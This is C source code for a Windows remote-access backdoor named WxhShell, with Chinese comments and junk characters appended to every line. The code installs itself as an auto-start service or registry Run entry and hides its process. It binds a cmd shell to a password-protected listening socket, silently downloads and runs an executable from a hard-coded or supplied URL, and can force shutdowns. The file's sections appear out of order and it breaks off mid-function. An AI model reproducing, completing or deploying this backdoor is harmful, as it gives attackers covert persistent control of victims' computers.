    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 7-}/{o*,5  
    if(Boot(SHUTDOWN)) NkxW*w%}l  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;Ouu+#s  
    else { D.YT u$T  
    closesocket(wsh); -yMD9b  
    ExitThread(0); ?^U1~5ff)  
    } &g!yRvM!;Q  
    break; p@3 <{kLm  
    } iwfH~  
  // 获取shell ={I(i6  
  case 's': { AQs_(LR  
    CmdShell(wsh); ]eI|_O^u  
    closesocket(wsh); ej[Y `N  
    ExitThread(0); |iVw7M:  
    break; +L pMNnl6  
  } 9-.`~v  
  // 退出 5r^u7k  
  case 'x': { 2SYV2  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); nC\LDeKc  
    CloseIt(wsh); N#^o,/  
    break; 1ifPc5j}  
    } ?dvcmXR  
  // 离开 S^)xioKsJ  
  case 'q': { \; zix(N[5  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); `llSHsIkXb  
    closesocket(wsh); _o-D},f*e  
    WSACleanup(); L(i*v5?  
    exit(1); h_Cac@F0  
    break; 4#BoS9d2I<  
        } xl~%hwBd  
  } yPqZ ,  
  } (C EXPf  
^N5BJ'[F:  
  // 提示信息 T7{Z0-  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); +\a`:QET  
} r{gJ[%  
  } S@a#,,\[  
dM1)wkbET  
  return; 3+2&@:$t  
} -S7rOq2Li  
*M_Gu{xc  
// shell模块句柄 eSgCS*}0$z  
int CmdShell(SOCKET sock) HV??B :  
{ D{aN_0mT  
STARTUPINFO si; /v1Rn*VF!  
ZeroMemory(&si,sizeof(si)); u8Au `  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; FN&.PdRT  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; uwl;(zwh_  
PROCESS_INFORMATION ProcessInfo; 3P!Jw7e  
char cmdline[]="cmd"; 1Yy5bg6+E  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); \Om< FH}  
  return 0; 6uYCU|JsU  
} z Lw=*  
VR/>V7*7@  
// 自身启动模式 J['paHSF  
int StartFromService(void) &\$l%icuo  
{ -VESe}c:nQ  
typedef struct i`^`^Ka  
{ rZDlPp>BPZ  
  DWORD ExitStatus; "mnWqRpX  
  DWORD PebBaseAddress; %:/_O*~)Yg  
  DWORD AffinityMask; .ya^8gM  
  DWORD BasePriority; hN6j5.x%  
  ULONG UniqueProcessId; szC~?]<YY  
  ULONG InheritedFromUniqueProcessId; N.|Zh+!  
}   PROCESS_BASIC_INFORMATION; h,q%MZ==^s  
L_.BcRy  
PROCNTQSIP NtQueryInformationProcess; 9IKFrCO9,  
VN[h0+n4Th  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; kne{Tp  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; X$zlR) Re  
i!jZZj-{  
  HANDLE             hProcess; k=<,A'y-/  
  PROCESS_BASIC_INFORMATION pbi; V@Z8t8  
+'H_sMmi{  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); qJj;3{X2  
  if(NULL == hInst ) return 0;  t]Xdzy  
wwS{V  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ;/W;M> ^  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); N9D<wAK##)  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); A-O@e e  
U3 e3  
  if (!NtQueryInformationProcess) return 0; +k'5W1e  
) =<,$|g  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); w<*tbq  
  if(!hProcess) return 0; > _1*/o JO  
zxtx~XO  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 2;G^>BP<  
\+E{8&TH'  
  CloseHandle(hProcess); -y{o@  
d_&R>GmR$  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); qWf7k+7G  
if(hProcess==NULL) return 0; K+D`U6&  
#N%xr'H  
HMODULE hMod; Us'm9 J  
char procName[255]; 0l6z!@GhT  
unsigned long cbNeeded; x-k}RI  
7z"xjA  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); V+X>t7.Q  
.N8AkQ(Ok  
  CloseHandle(hProcess); ^c}Z$V  
u=feR0|8  
if(strstr(procName,"services")) return 1; // 以服务启动 o+SD(KVn-  
5C/W_H+9iK  
  return 0; // 注册表启动 * c] :,5  
} D[m;rcl  
|k:MXI  
// 主模块 [y| "iSD  
int StartWxhshell(LPSTR lpCmdLine) PD12gUU?  
{ BEyg 63=  
  SOCKET wsl; u-3A6Q  
BOOL val=TRUE; NH$a:>  
  int port=0; y~An'+yBa  
  struct sockaddr_in door; ppjd.  
 2&O!<C j  
  if(wscfg.ws_autoins) Install(); ps"DL4*  
YYHtd,0\+  
port=atoi(lpCmdLine); Mo|[Muj8b  
f n )m$\2  
if(port<=0) port=wscfg.ws_port; ~U#afGH$  
1u7Kc'.xc  
  WSADATA data; `:!mPNW#  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; qz"di~7  
%mPIr4$Pg  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   U7O~ch[,  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); $ 5ZBNGr  
  door.sin_family = AF_INET; YU.aZdA&V3  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); S\K;h/;V  
  door.sin_port = htons(port); ;@GlJ '$;  
N|5J-fR&  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { wgxr8;8`q  
closesocket(wsl); T1jAY^^I  
return 1; -jdS8n4  
} 4Tgy2[D?q  
ms8de>A|H  
  if(listen(wsl,2) == INVALID_SOCKET) { Fg<$;p  
closesocket(wsl); Nw[TP G5  
return 1; =mxG[zDtQ  
} #4iSQ$0  
  Wxhshell(wsl); e/JbRbZX  
  WSACleanup(); ;QkUW<(  
HpY-7QTPJ~  
return 0; rpH ,c[D  
cO%-Av~P  
} chk1tFV  
2#LTd{  
// 以NT服务方式启动 vFm8T58 7  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ]R[j ]E.  
{ !m8MyZ}%  
DWORD   status = 0; x9Um4!/t  
  DWORD   specificError = 0xfffffff; I^S gWC  
y,'M3GGl  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 6BK-(>c(6  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Em8q1P$tm>  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 2GeJ\1k  
  serviceStatus.dwWin32ExitCode     = 0; UW%zR5q  
  serviceStatus.dwServiceSpecificExitCode = 0; }2c)UQD8  
  serviceStatus.dwCheckPoint       = 0; &z kuL  
  serviceStatus.dwWaitHint       = 0; M ,!Dhuas  
%L(;}sJ.  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 8Ld{Xg  
  if (hServiceStatusHandle==0) return; &%eWCe+ +  
I)7STzlMj.  
status = GetLastError();  ;;>hWAS  
  if (status!=NO_ERROR) -u+@5K;^Y  
{ 96G8B62  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; VPOzt7:  
    serviceStatus.dwCheckPoint       = 0; y,&'nk}  
    serviceStatus.dwWaitHint       = 0; 2IMU &  
    serviceStatus.dwWin32ExitCode     = status; <46> v<  
    serviceStatus.dwServiceSpecificExitCode = specificError; 'k^d-Mh>h  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); M9[52D!{  
    return; _{Z!$q6,  
  } 8w4-Ud*$i  
\e)>]C}h  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; gR5 EK$  
  serviceStatus.dwCheckPoint       = 0; jGm`Qg{<  
  serviceStatus.dwWaitHint       = 0; i28WgDG)5  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); A]<+Aq@{  
} )ZZjuFQJ)  
R:N4_4& C~  
// 处理NT服务事件,比如:启动、停止 d `MTc  
VOID WINAPI NTServiceHandler(DWORD fdwControl) J!{"^^*  
{ GgT 5'e;N  
switch(fdwControl) +lYo5\1=  
{ uX/K/4  
case SERVICE_CONTROL_STOP: JRgrg &#  
  serviceStatus.dwWin32ExitCode = 0; |)TI&T;k  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; "Yp:{e  
  serviceStatus.dwCheckPoint   = 0; .4CCR[Het  
  serviceStatus.dwWaitHint     = 0; ,gO}H)v]t  
  { dw*PjIB9x  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); UTWchh  
  } Tumv0=q4wd  
  return; "mk@p=d  
case SERVICE_CONTROL_PAUSE: DtEvt+h  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ]u5B]ZQnA  
  break; 1`sLbPW  
case SERVICE_CONTROL_CONTINUE: ztS:1\  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; IL0e:-@!0  
  break; hw 5NHZ I'  
case SERVICE_CONTROL_INTERROGATE: z:Y Z]   
  break; ,r5'nDV=d  
}; ,|}}Ml  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); yN@3uYBF  
} +DsdzR`Gx,  
k`we_$/Gw  
// 标准应用程序主函数 cMU"SO  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) lwSZ pS  
{ }yzCq+  
QG1+*J76b@  
// 获取操作系统版本 !l(D0 C  
OsIsNt=GetOsVer(); ?8U#,qq#`  
GetModuleFileName(NULL,ExeFile,MAX_PATH); s7d4)A%  
B3^F $6=  
  // 从命令行安装 ?2(5 2?cJ  
  if(strpbrk(lpCmdLine,"iI")) Install(); !+FrU'^  
Q6 oM$qiM  
  // 下载执行文件 0-P,zkK_v  
if(wscfg.ws_downexe) {  g)Tr#  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) <(Rbu2_  
  WinExec(wscfg.ws_filenam,SW_HIDE); :~^_*:  
} vZiuElxKi  
K0aT(Rc e  
if(!OsIsNt) { mAM:Q*a'  
// 如果时win9x,隐藏进程并且设置为注册表启动 9}|x N8  
HideProc(); 5FJ(x:k?z  
StartWxhshell(lpCmdLine); eG_@WLxwD  
} 11^.oa+`  
else H*H~~yQ  
  if(StartFromService()) MD):g @  
  // 以服务方式启动 @?2ES@G+Ji  
  StartServiceCtrlDispatcher(DispatchTable); )FdS;]  
else .vnQZ*6  
  // 普通方式启动 { 1eW*9  
  StartWxhshell(lpCmdLine); P#!^9)3  
|NdWx1  
return 0; Q]{ `m  
} i7XM7 +}  
gbrn'NT  
WR"?j 9y_q  
x%'5 rnm|  
=========================================== a.z)m} +  
]*Cq'<h$  
'" 4;;(  
[C#H _y(  
r!<)CT}D  
diWi0@  
" OZR{+YrB^  
( 5 BZZ  
#include <stdio.h> ^ 'ws/(  
#include <string.h> h-<Qj,L{W  
#include <windows.h> "h5.^5E6  
#include <winsock2.h> /jl/SV+  
#include <winsvc.h> MBqw{cy  
#include <urlmon.h> <y=+Gh  
,p>@:C/M  
#pragma comment (lib, "Ws2_32.lib") 0z$::p$%u  
#pragma comment (lib, "urlmon.lib") i+Lqj  
`m`Y3I  
#define MAX_USER   100 // 最大客户端连接数 %M*2j%6  
#define BUF_SOCK   200 // sock buffer RsW4 '5  
#define KEY_BUFF   255 // 输入 buffer vlqL  
7'!DK;=TD6  
#define REBOOT     0   // 重启 oCxy(q'y  
#define SHUTDOWN   1   // 关机 L.s$|%  
/:d6I].  
#define DEF_PORT   5000 // 监听端口 `aDVN_h{6  
K=Z.<f  
#define REG_LEN     16   // 注册表键长度 5c\dm  
#define SVC_LEN     80   // NT服务名长度 8AJ#].q0F  
Ys0N+  
// 从dll定义API n5 2Q-6H  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); g/ 4ipcG;N  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); [Y4Wm?  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Z,oCkv("n  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); .*X=JFxl  
U1W8f|u  
// wxhshell配置信息 :6 qt[(<"  
struct WSCFG { ] T<#bNK\1  
  int ws_port;         // 监听端口 |va^lT  
  char ws_passstr[REG_LEN]; // 口令 7Bym?  
  int ws_autoins;       // 安装标记, 1=yes 0=no 1+#E|YWJ  
  char ws_regname[REG_LEN]; // 注册表键名 N;v]ypak  
  char ws_svcname[REG_LEN]; // 服务名 9>@Vk vpY  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 R2A#2{+H  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 X4<Y5?&0  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 {TZV^gT4  
int ws_downexe;       // 下载执行标记, 1=yes 0=no DB+oCE<.#  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" s o7.$]aV  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 t,u;"%go  
Kk).KgR  
}; =gB8(1g8  
>9NC2%61S  
// default Wxhshell configuration "&/lF[q  
struct WSCFG wscfg={DEF_PORT, @A|#/]S1  
    "xuhuanlingzhe", &~c`p[  
    1, W9QVfe#s  
    "Wxhshell", dJe 3DW :  
    "Wxhshell", _SnD)k+TgJ  
            "WxhShell Service", :=*V i`  
    "Wrsky Windows CmdShell Service", ZfXgVTJ`  
    "Please Input Your Password: ", &x\cEI)!  
  1, 4t-l@zFWb  
  "http://www.wrsky.com/wxhshell.exe", [V_+/[AA)  
  "Wxhshell.exe" Q-7L,2TL  
    }; i<(~J4}b  
NwVhJdo  
// 消息定义模块 ]=p^32  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; "yc|ng  
char *msg_ws_prompt="\n\r? for help\n\r#>"; I+,CiJ|4  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; X}wo$t  
char *msg_ws_ext="\n\rExit."; 4y.qtiIP>$  
char *msg_ws_end="\n\rQuit."; &smZ;yb|'h  
char *msg_ws_boot="\n\rReboot..."; 8F&Y;  
char *msg_ws_poff="\n\rShutdown..."; 4peRbm  
char *msg_ws_down="\n\rSave to "; /Pxny3  
xE{slDl  
char *msg_ws_err="\n\rErr!"; D/afa8>LQH  
char *msg_ws_ok="\n\rOK!"; eM@xs<BR  
91-[[<  
char ExeFile[MAX_PATH]; tAPf#7{|   
int nUser = 0; !;4Hh)2  
HANDLE handles[MAX_USER]; v o4U%  
int OsIsNt; K $WMrp  
+4Fw13ADE  
SERVICE_STATUS       serviceStatus; .K]Uk/W  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 4bcd=a;  
?E<9H/  
// 函数声明 #q>\6} )  
int Install(void); E3] 8(P%D-  
int Uninstall(void); :5F(,Z_  
int DownloadFile(char *sURL, SOCKET wsh); l"7#(a  
int Boot(int flag); :G#+ 5 }  
void HideProc(void); kZ PL$ \/A  
int GetOsVer(void); CvR-lKV<  
int Wxhshell(SOCKET wsl); %@:6&  
void TalkWithClient(void *cs); =\ k:]  
int CmdShell(SOCKET sock); [$F*R@,&  
int StartFromService(void); w IP4Z^  
int StartWxhshell(LPSTR lpCmdLine); "%b Gw v  
2m"cK^  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); pSI8"GwQ  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); (AX$S vw  
uQ&> Wk  
// 数据结构和表定义 S{3c}>n  
SERVICE_TABLE_ENTRY DispatchTable[] = z4~p(tl  
{ (L1F ],Au  
{wscfg.ws_svcname, NTServiceMain}, _''un3eCY  
{NULL, NULL} /\;m/cwrl"  
}; MMUlA$*t  
BOh^oQh  
// 自我安装 B[q"o I`  
int Install(void) xQ2: tY#?  
{ a6Joa&`dv  
  char svExeFile[MAX_PATH]; 1 +Ue m  
  HKEY key; 1J72*`4OK  
  strcpy(svExeFile,ExeFile); *H i}FI  
 Bnk '  
// 如果是win9x系统,修改注册表设为自启动 >t<\zC|~w  
if(!OsIsNt) { r6R@"1/  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 4UUbX  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); #a2gRg  
  RegCloseKey(key); ($>m]|  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ->X>h_k.Y  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); \*Yr&Lm  
  RegCloseKey(key); N!MDD?0  
  return 0; 1/~=61msc  
    } L`e19I$  
  } :5.F  
} V#5$J Xp  
else { ky-nP8L}  
9e c},~(  
// 如果是NT以上系统,安装为系统服务 =R~zD4{"  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 2gZ nrU  
if (schSCManager!=0) Mi{ns $B%  
{ #0hqfs  
  SC_HANDLE schService = CreateService znPh7{|<  
  ( 0~K&P#iR  
  schSCManager, RKE"}|i +S  
  wscfg.ws_svcname, vj 344B  
  wscfg.ws_svcdisp, e(xuy'4r  
  SERVICE_ALL_ACCESS, 3kk^hvB+f  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 15q^&l[Q  
  SERVICE_AUTO_START, {~u Ti>U  
  SERVICE_ERROR_NORMAL, Wy*+8~@A  
  svExeFile, W &:0J  
  NULL, 7 7y+ik  
  NULL, N_S~&(I|  
  NULL, RGs7Hc  
  NULL, ? dHl'  
  NULL wwywiFj  
  ); la)^`STh  
  if (schService!=0) AS@(]T#R  
  { 2%L`b"9}V  
  CloseServiceHandle(schService); beC%Tnb7  
  CloseServiceHandle(schSCManager); )XGz#C_P  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Lt=32SvTn  
  strcat(svExeFile,wscfg.ws_svcname); \/?J)k3H.  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { =4co$oD}  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); |/^S%t6*  
  RegCloseKey(key); zL9~gJ  
  return 0; $+_1F`  
    } fK+ 5   
  } y`j=(|DV  
  CloseServiceHandle(schSCManager); vq^';<Wh.  
} *i^$xjOa  
} ]K*R[  
gwQMy$  
return 1; _@!vF,Wcf  
} &Cv  
lZ.lf.{F  
// 自我卸载 c9fz x  
int Uninstall(void) ~/9RSdv7  
{ VOZxLyj^9  
  HKEY key; w5{l-Z  
%),u0:go  
if(!OsIsNt) { !C05;x8{  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Zfcf?&><  
  RegDeleteValue(key,wscfg.ws_regname); i9XpP(mf  
  RegCloseKey(key); Q,^/Lm|]k  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { t@9-LYbL  
  RegDeleteValue(key,wscfg.ws_regname); )\EIXTZY=  
  RegCloseKey(key); Ec}%!p_$  
  return 0; DAP/  
  } .ex;4( -!  
} ^@O 7d1&y  
} )!\6 "{  
else { YCh`V[0  
zMu9A|  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); v-d"dC`  
if (schSCManager!=0) SFd_k9  
{ ){w{#  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); gqy>;A:kO  
  if (schService!=0) fc8ODk*;E  
  { k|?[EWIi^  
  if(DeleteService(schService)!=0) { 3&7? eO7*  
  CloseServiceHandle(schService); VGD~) z57  
  CloseServiceHandle(schSCManager); (0b\%;}  
  return 0; 7=^}{  
  } k[ zyR  
  CloseServiceHandle(schService); o]Ne|PEpO  
  } Y;_F,4H  
  CloseServiceHandle(schSCManager); P.@dB.Ny  
} 7Tdx*1 U  
} 1Ub=RyB  
aH?Ygzw  
return 1; bUm%#a  
} ].kj-,5>f  
' QG`^@Z  
// 从指定url下载文件 IiqqdU]  
int DownloadFile(char *sURL, SOCKET wsh) <3BGW?=WP  
{ }bca-|N  
  HRESULT hr; UWC4PWL,>C  
char seps[]= "/"; /X.zt `  
char *token; [;Lgbgt3f  
char *file; 03v+eT  
char myURL[MAX_PATH]; ~S Bb2*ID  
char myFILE[MAX_PATH]; FsJk"$}  
jDb\4QyC  
strcpy(myURL,sURL); bKM*4M=k  
  token=strtok(myURL,seps); 7`J2/(  
  while(token!=NULL) ;!S5P(  
  { C{85#`z`  
    file=token; 6c-3+,Y"#  
  token=strtok(NULL,seps); VtI`Qc jc  
  } !'^l}K>  
1gkpK`u(B  
GetCurrentDirectory(MAX_PATH,myFILE); tUx H 6IS  
strcat(myFILE, "\\"); T^|k`  
strcat(myFILE, file); :Q=y'<  
  send(wsh,myFILE,strlen(myFILE),0); z6@8IszU  
send(wsh,"...",3,0); 27ZqdHd  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); jOzXyDq  
  if(hr==S_OK) XJeWhk3R9  
return 0; "ymR8 y'  
else .cJoNl'q  
return 1; SXqB<j$.;  
|Qcz5M90e  
} NJsaTBT  
 Jk(V ]  
// 系统电源模块 #;ObugY,  
int Boot(int flag) &mVClq  
{ N Nk  
  HANDLE hToken; i8e*9;4@  
  TOKEN_PRIVILEGES tkp; \;~Nj#  
mTtaqo_Bh  
  if(OsIsNt) { k*N!U[]  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); UU>+b:  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); G8+&fn6  
    tkp.PrivilegeCount = 1; #)~u YQ  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; VBi gUK4  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); E5rV}>(Y  
if(flag==REBOOT) { vq(#Ih2  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) D#1R$4M=  
  return 0; ]$L5}pE3  
} o-H?q!  
else { N gF7$@S  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) tlp,HxlP  
  return 0; 37kFbR@x  
} kHhp;<  
  } p*0[:/4  
  else { WC<[<uI*  
if(flag==REBOOT) { SZe55mK`  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ;@qS#7SRB  
  return 0; >Vt2@Ee  
} rz_W]/G-P  
else { *t| !xO  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) gC2}?nq*  
  return 0; 3E;@.jD  
} KHZ[drb6$  
} d]s^?=gM  
asYk #;z\"  
return 1; ~;CNWJtcf(  
} \ZADY.ha  
q&z'S  
// win9x进程隐藏模块 oB5\^V$  
void HideProc(void) Ph""[0n%o  
{ O>pX(DS L  
4@fv%LOQo  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); .%n_{ab1  
  if ( hKernel != NULL )  ,==_u  
  { v}u]tl$,  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); =>5Lp  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); BM?!?  
    FreeLibrary(hKernel); kE<CuO  
  } l,h`YIy  
W>a}g[Ad  
return; YRV h[Bqg`  
} qI7KWUR  
j H2)8~P  
// 获取操作系统版本 -(?/95 Y  
int GetOsVer(void) @-[}pZ/  
{ 9#U]?^DJ@  
  OSVERSIONINFO winfo; F hUi{`  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); (K=0c 6M3=  
  GetVersionEx(&winfo); %]I#]jR  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) &zy%_U2%  
  return 1; AVD hgJv  
  else M^oL.'  
  return 0; xP'0a  
} Ty&1R?  
YSGE@  
// 客户端句柄模块 hQx*#:ns  
int Wxhshell(SOCKET wsl) +'g O%^{l  
{ BkB _?^Nv8  
  SOCKET wsh; M}[Q2v\  
  struct sockaddr_in client; 6 agG*x  
  DWORD myID; J@/4CSCR]  
xwZ1Q,'C  
  while(nUser<MAX_USER) ~*1>)P8]#  
{ iT==aJ=~/&  
  int nSize=sizeof(client); V WZpEi  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 2o<*rH  
  if(wsh==INVALID_SOCKET) return 1; I"czo9Yspd  
W8^A{l4  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); &T,,fz$  
if(handles[nUser]==0) I1>f2/$z*  
  closesocket(wsh); Cydo~/  
else u|}\Af  
  nUser++; u~uz=Yse  
  } L@T/4e./  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Kt*b) <  
:'wxm3f  
  return 0; H6`k%O*  
} TfZM0Wz  
K Ha,6X  
// 关闭 socket Yf9E0po  
void CloseIt(SOCKET wsh) R4;1LZ8XzS  
{ +I5\ `By=  
closesocket(wsh); X8Z) W?vu  
nUser--; ]'xci"qV`  
ExitThread(0); gBV4IQ  
} GEy7Vb)  
cwvJH&%0  
// 客户端请求句柄 5lHt~hB\  
void TalkWithClient(void *cs) a({Rb?b  
{ wwdmz;0S  
P<R^eLZ<&  
  SOCKET wsh=(SOCKET)cs; DI8I'c-P  
  char pwd[SVC_LEN]; Wtu-g**KN  
  char cmd[KEY_BUFF]; 9{fP.ifdv7  
char chr[1]; TW& s c9  
int i,j; #\X)|p2  
}bw^p.ci  
  while (nUser < MAX_USER) { Te}gmt+#%  
16Ka>=G  
if(wscfg.ws_passstr) { Fu{VO~w  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); geK;r0(f  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); zu?112-v2  
  //ZeroMemory(pwd,KEY_BUFF); -x6_HibbD  
      i=0; [x 7Rq_^  
  while(i<SVC_LEN) { gnN>Rl 5_  
'Y2$9qy-L  
  // 设置超时 X HJdynt/  
  fd_set FdRead; gKTCfD~  
  struct timeval TimeOut; e}2?)B`[  
  FD_ZERO(&FdRead); A7Y CSjB  
  FD_SET(wsh,&FdRead); {91Y;p C  
  TimeOut.tv_sec=8; <#BK(W~$  
  TimeOut.tv_usec=0; y]{b4e  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ?yAb=zI1b  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); e:-pqZT`  
4ZUtK/i+r  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ~N9k8eT  
  pwd=chr[0]; [.|& /O  
  if(chr[0]==0xd || chr[0]==0xa) { e^q^ AP+*  
  pwd=0; Pn4.gabE  
  break; z@IG"D  
  } g5 *E\T%8  
  i++; dY$nw  
    } HkRvcX 5  
M)K!!Jqh  
  // 如果是非法用户,关闭 socket D#'CRJh;7  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); $9\8?gS  
} HHw&BNQG  
gLt6u|0q  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); hO> q|+mC  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ~ a 2A"#f  
]v:,<=S  
while(1) { TVvE0y(9  
'g<{l&u  
  ZeroMemory(cmd,KEY_BUFF); [r 7Hcb  
8?L-3/  
      // 自动支持客户端 telnet标准   W="pu5q$5  
  j=0; rJf{YUZe  
  while(j<KEY_BUFF) { a++gwl  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); @)Vb?|3  
  cmd[j]=chr[0]; .&]3wB~  
  if(chr[0]==0xa || chr[0]==0xd) { x!S}Y"  
  cmd[j]=0; FiRe b3zR  
  break; A1B[5a*o!  
  } =4x6v<  
  j++; H{E(=S  
    } tAjT-CXg  
![{/V,V]~  
  // 下载文件 \l0!si  
  if(strstr(cmd,"http://")) { h] )&mFiE"  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); &/' O?HWl  
  if(DownloadFile(cmd,wsh)) >9nVR  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); of7'?]w  
  else &Pv$nMB$I  
